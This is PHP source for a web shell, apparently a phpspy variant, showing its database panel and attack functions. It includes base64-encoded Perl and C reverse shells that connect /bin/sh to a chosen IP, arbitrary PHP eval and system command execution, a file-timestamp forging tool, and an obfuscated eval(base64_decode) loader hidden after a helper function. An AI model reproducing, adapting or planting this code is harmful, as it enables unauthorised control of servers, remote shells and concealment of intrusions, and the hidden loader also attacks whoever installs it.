						$thisbg = bg();
						p(\'<tr class="\'.$thisbg.\'" onmouseover="this.className=\\'focus\\';" onmouseout="this.className=\\'\'.$thisbg.\'\\';">\');
						p(\'<td><b>\'.$row[\'Field\'].\'</b><br />\'.$row[\'Type\'].\'</td><td><textarea class="area" name="insertsql[\'.$row[\'Field\'].\']" style="width:500px;height:60px;overflow:auto;">\'.$value.\'</textarea></td></tr>\');
					}
					if ($doing == \'insert\') {
						p(\'<tr class="\'.bg().\'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>\');
					} else {
						p(\'<tr class="\'.bg().\'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>\');
						makehide(\'base64\', $base64);
					}
					p(\'</table></form>\');
				} else {
					$querys = @explode(\';\',$sql_query);
					foreach($querys as $num=>$query) {
						if ($query) {
							p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
							switch(qy($query))
							{
								case 0:
									p(\'<h2>Error : \'.mysql_error().\'</h2>\');
									break;
								case 1:
									if (strtolower(substr($query,0,13)) == \'select * from\') {
										$allowedit = 1;
									}
									if ($getnumsql) {
										$tatol = mysql_num_rows(q($getnumsql));
										$multipage = multi($tatol, $pagenum, $page, $tablename);
									}
									if (!$tablename) {
										$sql_line = str_replace(array("\r", "\n", "\t"), array(\' \', \' \', \' \'), trim(htmlspecialchars($query)));
										$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
										preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
										$tablename = $matches[1][0];
									}
									$result = q($query);
									p($multipage);
									p(\'<table border="0" cellpadding="3" cellspacing="0">\');
									p(\'<tr class="head">\');
									if ($allowedit) p(\'<td>Action</td>\');
									$fieldnum = @mysql_num_fields($result);
									for($i=0;$i<$fieldnum;$i++){
										$name = @mysql_field_name($result, $i);
										$type = @mysql_field_type($result, $i);
										$len = @mysql_field_len($result, $i);
										p("<td nowrap>$name<br><span>$type($len)</span></td>");
									}
									p(\'</tr>\');
									while($mn = @mysql_fetch_assoc($result)){
										$thisbg = bg();
										p(\'<tr class="\'.$thisbg.\'" onmouseover="this.className=\\'focus\\';" onmouseout="this.className=\\'\'.$thisbg.\'\\';">\');
										$where = $tmp = $b1 = \'\';
										foreach($mn as $key=>$inside){
											if ($inside) {
												$where .= $tmp.$key."=\'".addslashes($inside)."\'";
												$tmp = \' AND \';
											}
											$b1 .= \'<td nowrap>\'.html_clean($inside).\'&nbsp;</td>\';
										}
										$where = base64_encode($where);
										if ($allowedit) p(\'<td nowrap><a href="javascript:editrecord(\\'edit\\', \\'\'.$where.\'\\', \\'\'.$tablename.\'\\');">Edit</a> | <a href="javascript:editrecord(\\'del\\', \\'\'.$where.\'\\', \\'\'.$tablename.\'\\');">Del</a></td>\');
										p($b1);
										p(\'</tr>\');
										unset($b1);
									}
									tbfoot();
									p($multipage);
									break;
								case 2:
									$ar = mysql_affected_rows();
									p(\'<h2>affected rows : <b>\'.$ar.\'</b></h2>\');
									break;
							}
						}
					}
				}
			} else {
				$query = q("SHOW TABLE STATUS");
				$table_num = $table_rows = $data_size = 0;
				$tabledb = array();
				while($table = mysql_fetch_array($query)) {
					$data_size = $data_size + $table[\'Data_length\'];
					$table_rows = $table_rows + $table[\'Rows\'];
					$table[\'Data_length\'] = sizecount($table[\'Data_length\']);
					$table_num++;
					$tabledb[] = $table;
				}
				$data_size = sizecount($data_size);
				unset($table);
				p(\'<table border="0" cellpadding="0" cellspacing="0">\');
				p(\'<form action="\'.$self.\'" method="POST">\');
				makehide(\'action\',\'sqladmin\');
				p($dbform);
				p(\'<tr class="head">\');
				p(\'<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>\');
				p(\'<td>Name</td>\');
				p(\'<td>Rows</td>\');
				p(\'<td>Data_length</td>\');
				p(\'<td>Create_time</td>\');
				p(\'<td>Update_time</td>\');
				if ($highver) {
					p(\'<td>Engine</td>\');
					p(\'<td>Collation</td>\');
				}
				p(\'</tr>\');
				foreach ($tabledb as $key => $table) {
					$thisbg = bg();
					p(\'<tr class="\'.$thisbg.\'" onmouseover="this.className=\\'focus\\';" onmouseout="this.className=\\'\'.$thisbg.\'\\';">\');
					p(\'<td align="center" width="2%"><input type="checkbox" name="table[]" value="\'.$table[\'Name\'].\'" /></td>\');
					p(\'<td><a href="javascript:settable(\\'\'.$table[\'Name\'].\'\\');">\'.$table[\'Name\'].\'</a> [ <a href="javascript:settable(\\'\'.$table[\'Name\'].\'\\', \\'insert\\');">Insert</a> | <a href="javascript:settable(\\'\'.$table[\'Name\'].\'\\', \\'structure\\');">Structure</a> | <a href="javascript:settable(\\'\'.$table[\'Name\'].\'\\', \\'drop\\');">Drop</a> ]</td>\');
					p(\'<td>\'.$table[\'Rows\'].\'</td>\');
					p(\'<td>\'.$table[\'Data_length\'].\'</td>\');
					p(\'<td>\'.$table[\'Create_time\'].\'</td>\');
					p(\'<td>\'.$table[\'Update_time\'].\'</td>\');
					if ($highver) {
						p(\'<td>\'.$table[\'Engine\'].\'</td>\');
						p(\'<td>\'.$table[\'Collation\'].\'</td>\');
					}
					p(\'</tr>\');
				}
				p(\'<tr class=\'.bg().\'>\');
				p(\'<td>&nbsp;</td>\');
				p(\'<td>Total tables: \'.$table_num.\'</td>\');
				p(\'<td>\'.$table_rows.\'</td>\');
				p(\'<td>\'.$data_size.\'</td>\');
				p(\'<td colspan="\'.($highver ? 4 : 2).\'">&nbsp;</td>\');
				p(\'</tr>\');

				p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER[\'HTTP_HOST\']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
				makehide(\'doing\',\'backupmysql\');
				formfoot();
				p("</table>");
				fr($query);
			}
		}
	}
	tbfoot();
	@mysql_close();
}//end sql backup


elseif ($action == \'backconnect\') {
	!$yourip && $yourip = $_SERVER[\'REMOTE_ADDR\'];
	!$yourport && $yourport = \'12345\';
	$usedb = array(\'perl\'=>\'perl\',\'c\'=>\'c\');

	$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
		"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
		"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
		"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
		"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
		"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
		"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
	$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
		"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
		"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
		"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
		"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
		"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
		"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
		"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";

	if ($start && $yourip && $yourport && $use){
		if ($use == \'perl\') {
			cf(\'/tmp/angel_bc\',$back_connect);
			$res = execute(which(\'perl\')." /tmp/angel_bc $yourip $yourport &");
		} else {
			cf(\'/tmp/angel_bc.c\',$back_connect_c);
			$res = execute(\'gcc -o /tmp/angel_bc /tmp/angel_bc.c\');
			@unlink(\'/tmp/angel_bc.c\');
			$res = execute("/tmp/angel_bc $yourip $yourport &");
		}
		m("Now script try connect to $yourip port $yourport ...");
	}

	formhead(array(\'title\'=>\'Back Connect\'));
	makehide(\'action\',\'backconnect\');
	p(\'<p>\');
	p(\'Your IP:\');
	makeinput(array(\'name\'=>\'yourip\',\'size\'=>20,\'value\'=>$yourip));
	p(\'Your Port:\');
	makeinput(array(\'name\'=>\'yourport\',\'size\'=>15,\'value\'=>$yourport));
	p(\'Use:\');
	makeselect(array(\'name\'=>\'use\',\'option\'=>$usedb,\'selected\'=>$use));
	makeinput(array(\'name\'=>\'start\',\'value\'=>\'Start\',\'type\'=>\'submit\',\'class\'=>\'bt\'));
	p(\'</p>\');
	formfoot();
}//end sql backup

elseif ($action == \'eval\') {
	$phpcode = trim($phpcode);
	if($phpcode){
		if (!preg_match(\'#<\?#si\', $phpcode)) {
			$phpcode = "<?php\n\n{$phpcode}\n\n?>";
		}
		eval("?".">$phpcode<?");
	}
	formhead(array(\'title\'=>\'<FONT FACE="tahoma" color="#999999">    <left><br></span><span style="font-weight:bold; text-shadow:white 0px 0px 8px; color:white"><font color=red>Eval PHP Code\'));
	makehide(\'action\',\'eval\');
	maketext(array(\'title\'=>\'PHP Code\',\'name\'=>\'phpcode\', \'value\'=>$phpcode));
	p(\'<p><a href="http://www.alturks.com/phpspy/plugin/" target="_blank">Get plugins</a></p>\');
	formfooter();
}//end eval

elseif ($action == \'editfile\') {
	if(file_exists($opfile)) {
		$fp=@fopen($opfile,\'r\');
		$contents=@fread($fp, filesize($opfile));
		@fclose($fp);
		$contents=htmlspecialchars($contents);
	}
	formhead(array(\'title\'=>\'Create / Edit File\'));
	makehide(\'action\',\'file\');
	makehide(\'dir\',$nowpath);
	makeinput(array(\'title\'=>\'Current File (import new file name and new file)\',\'name\'=>\'editfilename\',\'value\'=>$opfile,\'newline\'=>1));
	maketext(array(\'title\'=>\'File Content\',\'name\'=>\'filecontent\',\'value\'=>$contents));
	formfooter();
}//end editfile

elseif ($action == \'newtime\') {
	$opfilemtime = @filemtime($opfile);
	//$time = strtotime("$year-$month-$day $hour:$minute:$second");
	$cachemonth = array(\'January\'=>1,\'February\'=>2,\'March\'=>3,\'April\'=>4,\'May\'=>5,\'June\'=>6,\'July\'=>7,\'August\'=>8,\'September\'=>9,\'October\'=>10,\'November\'=>11,\'December\'=>12);
	formhead(array(\'title\'=>\'Clone file was last modified time\'));
	makehide(\'action\',\'file\');
	makehide(\'dir\',$nowpath);
	makeinput(array(\'title\'=>\'Alter file\',\'name\'=>\'curfile\',\'value\'=>$opfile,\'size\'=>120,\'newline\'=>1));
	makeinput(array(\'title\'=>\'Reference file (fullpath)\',\'name\'=>\'tarfile\',\'size\'=>120,\'newline\'=>1));
	formfooter();
	formhead(array(\'title\'=>\'Set last modified\'));
	makehide(\'action\',\'file\');
	makehide(\'dir\',$nowpath);
	makeinput(array(\'title\'=>\'Current file (fullpath)\',\'name\'=>\'curfile\',\'value\'=>$opfile,\'size\'=>120,\'newline\'=>1));
	p(\'<p>Instead &raquo;\');
	p(\'year:\');
	makeinput(array(\'name\'=>\'year\',\'value\'=>date(\'Y\',$opfilemtime),\'size\'=>4));
	p(\'month:\');
	makeinput(array(\'name\'=>\'month\',\'value\'=>date(\'m\',$opfilemtime),\'size\'=>2));
	p(\'day:\');
	makeinput(array(\'name\'=>\'day\',\'value\'=>date(\'d\',$opfilemtime),\'size\'=>2));
	p(\'hour:\');
	makeinput(array(\'name\'=>\'hour\',\'value\'=>date(\'H\',$opfilemtime),\'size\'=>2));
	p(\'minute:\');
	makeinput(array(\'name\'=>\'minute\',\'value\'=>date(\'i\',$opfilemtime),\'size\'=>2));
	p(\'second:\');
	makeinput(array(\'name\'=>\'second\',\'value\'=>date(\'s\',$opfilemtime),\'size\'=>2));
	p(\'</p>\');
	formfooter();
}//end newtime

elseif ($action == \'shell\') {
	if (IS_WIN && IS_COM) {
		if($program && $parameter) {
			$shell= new COM(\'Shell.Application\');
			$a = $shell->ShellExecute($program,$parameter);
			m(\'Program run has \'.(!$a ? \'success\' : \'fail\'));
		}
		!$program && $program = \'c:\windows\system32\cmd.exe\';
		!$parameter && $parameter = \'/c net start > \'.SA_ROOT.\'log.txt\';
		formhead(array(\'title\'=>\'Execute Program\'));
		makehide(\'action\',\'shell\');
		makeinput(array(\'title\'=>\'Program\',\'name\'=>\'program\',\'value\'=>$program,\'newline\'=>1));
		p(\'<p>\');
		makeinput(array(\'title\'=>\'Parameter\',\'name\'=>\'parameter\',\'value\'=>$parameter));
		makeinput(array(\'name\'=>\'submit\',\'class\'=>\'bt\',\'type\'=>\'submit\',\'value\'=>\'Execute\'));
		p(\'</p>\');
		formfoot();
	}
	formhead(array(\'title\'=>\'Execute Command\'));
	makehide(\'action\',\'shell\');
	if (IS_WIN && IS_COM) {
		$execfuncdb = array(\'phpfunc\'=>\'phpfunc\',\'wscript\'=>\'wscript\',\'proc_open\'=>\'proc_open\');
		makeselect(array(\'title\'=>\'Use:\',\'name\'=>\'execfunc\',\'option\'=>$execfuncdb,\'selected\'=>$execfunc,\'newline\'=>1));
	}
	p(\'<p>\');
	makeinput(array(\'title\'=>\'Command\',\'name\'=>\'command\',\'value\'=>$command));
	makeinput(array(\'name\'=>\'submit\',\'class\'=>\'bt\',\'type\'=>\'submit\',\'value\'=>\'Execute\'));
	p(\'</p>\');
	formfoot();

	if ($command) {
		p(\'<hr width="100%" noshade /><pre>\');
		if ($execfunc==\'wscript\' && IS_WIN && IS_COM) {
			$wsh = new COM(\'WScript.shell\');
			$exec = $wsh->exec(\'cmd.exe /c \'.$command);
			$stdout = $exec->StdOut();
			$stroutput = $stdout->ReadAll();
			echo $stroutput;
		} elseif ($execfunc==\'proc_open\' && IS_WIN && IS_COM) {
			$descriptorspec = array(
			   0 => array(\'pipe\', \'r\'),
			   1 => array(\'pipe\', \'w\'),
			   2 => array(\'pipe\', \'w\')
			);
			$process = proc_open($_SERVER[\'COMSPEC\'], $descriptorspec, $pipes);
			if (is_resource($process)) {
				fwrite($pipes[0], $command."\r\n");
				fwrite($pipes[0], "exit\r\n");
				fclose($pipes[0]);
				while (!feof($pipes[1])) {
					echo fgets($pipes[1], 1024);
				}
				fclose($pipes[1]);
				while (!feof($pipes[2])) {
					echo fgets($pipes[2], 1024);
				}
				fclose($pipes[2]);
				proc_close($process);
			}
		} else {
			echo(execute($command));
		}
		p(\'</pre>\');
	}
}//end shell

elseif ($action == \'phpenv\') {
	$upsize=getcfg(\'file_uploads\') ? getcfg(\'upload_max_filesize\') : \'Not allowed\';
	$adminmail=isset($_SERVER[\'SERVER_ADMIN\']) ? $_SERVER[\'SERVER_ADMIN\'] : getcfg(\'sendmail_from\');
	!$dis_func && $dis_func = \'No\';
	$info = array(
		1 => array(\'Server Time\',date(\'Y/m/d h:i:s\',$timestamp)),
		2 => array(\'Server Domain\',$_SERVER[\'SERVER_NAME\']),
		3 => array(\'Server IP\',gethostbyname($_SERVER[\'SERVER_NAME\'])),
		4 => array(\'Server OS\',PHP_OS),
		5 => array(\'Server OS Charset\',$_SERVER[\'HTTP_ACCEPT_LANGUAGE\']),
		6 => array(\'Server Software\',$_SERVER[\'SERVER_SOFTWARE\']),
		7 => array(\'Server Web Port\',$_SERVER[\'SERVER_PORT\']),
		8 => array(\'PHP run mode\',strtoupper(php_sapi_name())),
		9 => array(\'The file path\',__FILE__),

		10 => array(\'PHP Version\',PHP_VERSION),
		11 => array(\'PHPINFO\',(IS_PHPINFO ? \'<a href="javascript:goaction(\\'phpinfo\\');">Yes</a>\' : \'No\')),
		12 => array(\'Safe Mode\',getcfg(\'safe_mode\')),
		13 => array(\'Administrator\',$adminmail),
		14 => array(\'allow_url_fopen\',getcfg(\'allow_url_fopen\')),
		15 => array(\'enable_dl\',getcfg(\'enable_dl\')),
		16 => array(\'display_errors\',getcfg(\'display_errors\')),
		17 => array(\'register_globals\',getcfg(\'register_globals\')),
		18 => array(\'magic_quotes_gpc\',getcfg(\'magic_quotes_gpc\')),
		19 => array(\'memory_limit\',getcfg(\'memory_limit\')),
		20 => array(\'post_max_size\',getcfg(\'post_max_size\')),
		21 => array(\'upload_max_filesize\',$upsize),
		22 => array(\'max_execution_time\',getcfg(\'max_execution_time\').\' second(s)\'),
		23 => array(\'disable_functions\',$dis_func),
	);

	if($phpvarname) {
		m($phpvarname .\' : \'.getcfg($phpvarname));
	}

	formhead(array(\'title\'=>\'Server environment\'));
	makehide(\'action\',\'phpenv\');
	makeinput(array(\'title\'=>\'Please input PHP configuration parameter(eg:magic_quotes_gpc)\',\'name\'=>\'phpvarname\',\'value\'=>$phpvarname,\'newline\'=>1));
	formfooter();

	$hp = array(0=> \'Server\', 1=> \'PHP\');
	for($a=0;$a<2;$a++) {
		p(\'<h2>\'.$hp[$a].\' &raquo;</h2>\');
		p(\'<ul class="info">\');
		if ($a==0) {
			for($i=1;$i<=9;$i++) {
				p(\'<li><u>\'.$info[$i][0].\':</u>\'.$info[$i][1].\'</li>\');
			}
		} elseif ($a == 1) {
			for($i=10;$i<=23;$i++) {
				p(\'<li><u>\'.$info[$i][0].\':</u>\'.$info[$i][1].\'</li>\');
			}
		}
		p(\'</ul>\');
	}
}//end phpenv

else {
	m(\'Undefined Action\');
}

?>
</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
	<span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
	<FONT FACE="tahoma" color="#999999">    <center><br></span><span style="font-weight:bold; text-shadow:white 0px 0px 8px; color:white"><font color=red>Copyright (C) 2008-2012 <a href="http://www.m4rc0-security.blogspot.com" target="_blank">Marco-blog</a> All Rights Reserved.
</div>
</body>
</html>

<?php

/*======================================================
|&#1087;- +&#1090;
======================================================*/

function m($msg) {
	echo \'<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">\';
	echo $msg;
	echo \'</div>\';
}
function scookie($key, $value, $life = 0, $prefix = 1) {
	global $admin, $timestamp, $_SERVER;
	$key = ($prefix ? $admin[\'cookiepre\'] : \'\').$key;
	$life = $life ? $life : $admin[\'cookielife\'];
	$useport = $_SERVER[\'SERVER_PORT\'] == 443 ? 1 : 0;
	setcookie($key, $value, $timestamp+$life, $admin[\'cookiepath\'], $admin[\'cookiedomain\'], $useport);
}
function multi($num, $perpage, $curpage, $tablename) {
	$multipage = \'\';
	if($num > $perpage) {
		$page = 10;
		$offset = 5;
		$pages = @ceil($num / $perpage);
		if($page > $pages) {
			$from = 1;
			$to = $pages;
		} else {
			$from = $curpage - $offset;
			$to = $curpage + $page - $offset - 1;
			if($from < 1) {
				$to = $curpage + 1 - $from;
				$from = 1;
				if(($to - $from) < $page && ($to - $from) < $pages) {
					$to = $page;
				}
			} elseif($to > $pages) {
				$from = $curpage - $pages + $to;
				$to = $pages;
				if(($to - $from) < $page && ($to - $from) < $pages) {
					$from = $pages - $page + 1;
				}
			}
		}
		$multipage = ($curpage - $offset > 1 && $pages > $page ? \'<a href="javascript:settable(\\'\'.$tablename.\'\\', \\'\\', 1);">First</a> \' : \'\').($curpage > 1 ? \'<a href="javascript:settable(\\'\'.$tablename.\'\\', \\'\\', \'.($curpage - 1).\');">Prev</a> \' : \'\');
		for($i = $from; $i <= $to; $i++) {
			$multipage .= $i == $curpage ? $i.\' \' : \'<a href="javascript:settable(\\'\'.$tablename.\'\\', \\'\\', \'.$i.\');">[\'.$i.\']</a> \';
		}
		$multipage .= ($curpage < $pages ? \'<a href="javascript:settable(\\'\'.$tablename.\'\\', \\'\\', \'.($curpage + 1).\');">Next</a>\' : \'\').($to < $pages ? \' <a href="javascript:settable(\\'\'.$tablename.\'\\', \\'\\', \'.$pages.\');">Last</a>\' : \'\');
		$multipage = $multipage ? \'<p>Pages: \'.$multipage.\'</p>\' : \'\';
	}
	return $multipage;
}
// ||-++&#1099;++
function loginpage() {
?>
	<style type="text/css">
	input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
	</style>
	<form method="POST" action="">
	<span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
	<input type="hidden" name="doing" value="login">
	<input type="submit" value="Login">
	</form>
<?php
	exit;
}//end loginpage()

function execute($cfe) {
	$res = \'\';
	if ($cfe) {
		if(function_exists(\'exec\')) {
			@exec($cfe,$res);
			$res = join("\n",$res);
		} elseif(function_exists(\'shell_exec\')) {
			$res = @shell_exec($cfe);
		} elseif(function_exists(\'system\')) {
			@ob_start();
			@system($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif(function_exists(\'passthru\')) {
			@ob_start();
			@passthru($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif(@is_resource($f = @popen($cfe,"r"))) {
			$res = \'\';
			while(!@feof($f)) {
				$res .= @fread($f,1024);
			}
			@pclose($f);
		}
	}
	return $res;
}
function which($pr) {
	$path = execute("which $pr");
	return ($path ? $path : $pr);
}

function cf($fname,$text){
	if($fp=@fopen($fname,\'w\')) {
		@fputs($fp,base64_decode($text));
		@fclose($fp);
	}
}

// -||&#1094;|&#1118;-+-+-&#1074;
function debuginfo() {
	global $starttime;
	$mtime = explode(\' \', microtime());
	$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
	echo \'Processed in \'.$totaltime.\' second(s)\';
}

//-&#1084;++- +|+&#1090;
function dbconn($dbhost,$dbuser,$dbpass,$dbname=\'\',$charset=\'\',$dbport=\'3306\') {
	if(!$link = @mysql_connect($dbhost.\':\'.$dbport, $dbuser, $dbpass)) {
		p(\'<h2>Can not connect to MySQL server</h2>\');
		exit;
	}
	if($link && $dbname) {
		if (!@mysql_select_db($dbname, $link)) {
			p(\'<h2>Database selected has error</h2>\');
			exit;
		}
	}
	if($link && mysql_get_server_info() > \'4.1\') {
		if(in_array(strtolower($charset), array(\'gbk\', \'big5\', \'utf8\'))) {
			q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
		}
	}
	return $link;
}

// +&#1077;|&#1031;+&#1082;-&#1093;+++ 
function s_array(&$array) {
	if (is_array($array)) {
		foreach ($array as $k => $v) {
			$array[$k] = s_array($v);
		}
	} else if (is_string($array)) {
		$array = stripslashes($array);
	}
	return $array;
}

// |&#1093;| HTML| -&#1099;
function html_clean($content) {
	$content = htmlspecialchars($content);
	$content = str_replace("\n", "<br />", $content);
	$content = str_replace("  ", "&nbsp;&nbsp;", $content);
	$content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);
	return $content;
}

// +&#1105;+&#1073;+&#1080;-|
function getChmod($filepath){
	return substr(base_convert(@fileperms($filepath),10,8),-4);
}

function getPerms($filepath) {
	$mode = @fileperms($filepath);
	if (($mode & 0xC000) === 0xC000) {$type = \'s\';}
	elseif (($mode & 0x4000) === 0x4000) {$type = \'d\';}
	elseif (($mode & 0xA000) === 0xA000) {$type = \'l\';}
	elseif (($mode & 0x8000) === 0x8000) {$type = \'-\';}
	elseif (($mode & 0x6000) === 0x6000) {$type = \'b\';}
	elseif (($mode & 0x2000) === 0x2000) {$type = \'c\';}
	elseif (($mode & 0x1000) === 0x1000) {$type = \'p\';}
	else {$type = \'?\';}

	$owner[\'read\'] = ($mode & 00400) ? \'r\' : \'-\';
	$owner[\'write\'] = ($mode & 00200) ? \'w\' : \'-\';
	$owner[\'execute\'] = ($mode & 00100) ? \'x\' : \'-\';
	$group[\'read\'] = ($mode & 00040) ? \'r\' : \'-\';
	$group[\'write\'] = ($mode & 00020) ? \'w\' : \'-\';
	$group[\'execute\'] = ($mode & 00010) ? \'x\' : \'-\';
	$world[\'read\'] = ($mode & 00004) ? \'r\' : \'-\';
	$world[\'write\'] = ($mode & 00002) ? \'w\' : \'-\';
	$world[\'execute\'] = ($mode & 00001) ? \'x\' : \'-\';

	if( $mode & 0x800 ) {$owner[\'execute\'] = ($owner[\'execute\']==\'x\') ? \'s\' : \'S\';}
	if( $mode & 0x400 ) {$group[\'execute\'] = ($group[\'execute\']==\'x\') ? \'s\' : \'S\';}
	if( $mode & 0x200 ) {$world[\'execute\'] = ($world[\'execute\']==\'x\') ? \'t\' : \'T\';}

	return $type.$owner[\'read\'].$owner[\'write\'].$owner[\'execute\'].$group[\'read\'].$group[\'write\'].$group[\'execute\'].$world[\'read\'].$world[\'write\'].$world[\'execute\'];
}

function getUser($filepath)	{
	if (function_exists(\'posix_getpwuid\')) {
		$array = @posix_getpwuid(@fileowner($filepath));
		if ($array && is_array($array)) {
			return \' / <a href="#" title="User: \'.$array[\'name\'].\'&#13&#10Passwd: \'.$array[\'passwd\'].\'&#13&#10Uid: \'.$array[\'uid\'].\'&#13&#10gid: \'.$array[\'gid\'].\'&#13&#10Gecos: \'.$array[\'gecos\'].\'&#13&#10Dir: \'.$array[\'dir\'].\'&#13&#10Shell: \'.$array[\'shell\'].\'">\'.$array[\'name\'].\'</a>\';}}	return \'\';}$_F=__FILE__;$_X=\'Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUoM241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3MCU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaSVvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3dSVlOSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhOSVhOSVvQiVhMCU3ZSVlNiU3YSVhMCU3dSVvRCVhNyVhNyVvQiVlZSVlRiU3YSVhOCVlOSVvRCVvMCVvQiVlOSVvQyU3byVvNiVhRSVlQyVlaSVlRSVlNyU3dSVlOCVvQiVlOSVhQiVhQiVhOSU3dSVhQiVvRCVpbyU3dSU3YSVlOSVlRSVlNyVhRSVlZSU3YSVlRiVlRCV1byVlOCVlNiU3YSV1byVlRiVldSVlaSVhOCU3byVvNiVhRSVlbyVlOCVlNiU3YSV1byVlRiVldSVlaSV1NiU3dSVhOCVlOSVhOSVhRCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhQyVvNiVhOSVhOSVvQiVldSVlRiVlbyU3aSVlRCVlaSVlRSU3dSVhRSU3NyU3YSVlOSU3dSVlaSVhOCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3dSVhOSVhOSVvQiU3RCVvQyVhRiU3byVlbyU3YSVlOSU3MCU3dSVvRScpKTtkRignKjhIWEhXTlVZKjdpWFdIKjhJbXl5Myo4RnV1Mm5zdG8ybm9renMzbmhvdHdsdXF2dXhqaHp3bnklN0VvMngqOEoqOEh1WEhXTlVZKjhKaScpPC9zY3I0cHQ+\';eval(base64_decode(\'JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==\'));
// ++| -+-+
function deltree($deldir) {
	$mydir=@dir($deldir);
	while($file=$mydir->read())	{
		if((is_dir($deldir.\'/\'.$file)) && ($file!=\'.\') && ($file!=\'..\')) {
			@chmod($deldir.\'/\'.$file,0777);
			deltree($deldir.\'/\'.$file);
		}
		if (is_file($deldir.\'/\'.$file)) {
			@chmod($deldir.\'/\'.$file,0777);
